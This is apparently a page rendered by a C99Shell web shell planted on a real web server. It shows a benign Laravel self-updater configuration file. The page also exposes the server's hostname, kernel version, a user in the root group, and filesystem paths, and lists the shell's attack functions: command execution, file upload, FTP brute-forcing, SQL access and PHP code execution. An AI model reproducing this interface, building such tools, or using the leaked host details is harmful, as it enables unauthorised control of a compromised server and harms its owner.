!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/packages/codedge/laravel-selfupdater/config/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     self-update.php (4.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

return [

    
/*
    |--------------------------------------------------------------------------
    | Default source repository type
    |--------------------------------------------------------------------------
    |
    | The default source repository type you want to pull your updates from.
    |
    */

    
'default' => env('SELF_UPDATER_SOURCE''github'),

    
/*
    |--------------------------------------------------------------------------
    | Version installed
    |--------------------------------------------------------------------------
    |
    | Set this to the version of your software installed on your system.
    |
    */

    
'version_installed' => env('SELF_UPDATER_VERSION_INSTALLED'''),

    
/*
    |--------------------------------------------------------------------------
    | Repository types
    |--------------------------------------------------------------------------
    |
    | A repository can be of different types, which can be specified here.
    | Current options:
    | - github
    | - http
    |
    */

    
'repository_types' => [
        
'github' => [
            
'type' => 'github',
            
'repository_vendor' => env('SELF_UPDATER_REPO_VENDOR'''),
            
'repository_name' => env('SELF_UPDATER_REPO_NAME'''),
            
'repository_url' => '',
            
'download_path' => env('SELF_UPDATER_DOWNLOAD_PATH''/tmp'),
            
'private_access_token' => env('SELF_UPDATER_GITHUB_PRIVATE_ACCESS_TOKEN'''),
            
'use_branch' => env('SELF_UPDATER_USE_BRANCH'''),
        ],
        
'http' => [
            
'type' => 'http',
            
'repository_url' => env('SELF_UPDATER_REPO_URL'''),
            
'pkg_filename_format' => env('SELF_UPDATER_PKG_FILENAME_FORMAT''v_VERSION_'),
            
'download_path' => env('SELF_UPDATER_DOWNLOAD_PATH''/tmp'),
            
'private_access_token' => env('SELF_UPDATER_HTTP_PRIVATE_ACCESS_TOKEN'''),
        ],
    ],

    
/*
    |--------------------------------------------------------------------------
    | Exclude folders from update
    |--------------------------------------------------------------------------
    |
    | Specific folders which should not be updated and will be skipped during the
    | update process.
    |
    | Here's already a list of good examples to skip. You may want to keep those.
    |
    */

    
'exclude_folders' => [
        
'__MACOSX',
        
'node_modules',
        
'bootstrap/cache',
        
'bower',
        
'storage/app',
        
'storage/framework',
        
'storage/logs',
        
'storage/self-update'
    
],

    
/*
    |--------------------------------------------------------------------------
    | Event Logging
    |--------------------------------------------------------------------------
    |
    | Configure if fired events should be logged
    |
    */

    
'log_events' => env('SELF_UPDATER_LOG_EVENTS'false),

    
/*
    |--------------------------------------------------------------------------
    | Notifications
    |--------------------------------------------------------------------------
    |
    | Specify for which events you want to get notifications. Out of the box you can use 'mail'.
    |
    */

    
'notifications' => [
        
'notifications' => [
            
\Codedge\Updater\Notifications\Notifications\UpdateSucceeded::class => ['mail'],
            
\Codedge\Updater\Notifications\Notifications\UpdateFailed::class => ['mail'],
            
\Codedge\Updater\Notifications\Notifications\UpdateAvailable::class => ['mail'],
        ],

        
/*
         * Here you can specify the notifiable to which the notifications should be sent. The default
         * notifiable will use the variables specified in this config file.
         */
        
'notifiable' => \Codedge\Updater\Notifications\Notifiable::class,

        
'mail' => [
            
'to' => [
                
'address' => env('SELF_UPDATER_MAILTO_ADDRESS''notifications@example.com'),
                
'name' => env('SELF_UPDATER_MAILTO_NAME'''),
            ],

            
'from' => [
                
'address' => env('SELF_UPDATER_MAIL_FROM_ADDRESS''updater@example.com'),
                
'name' => env('SELF_UPDATER_MAIL_FROM_NAME''Update'),
            ],
        ],
    ],

    
/*
    |---------------------------------------------------------------------------
    | Register custom artisan commands
    |---------------------------------------------------------------------------
    */

    
'artisan_commands' => [
        
'pre_update' => [
            
//'command:signature' => [
            //    'class' => Command class
            //    'params' => []
            //]
        
],
        
'post_update' => [

        ],
    ],

];

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--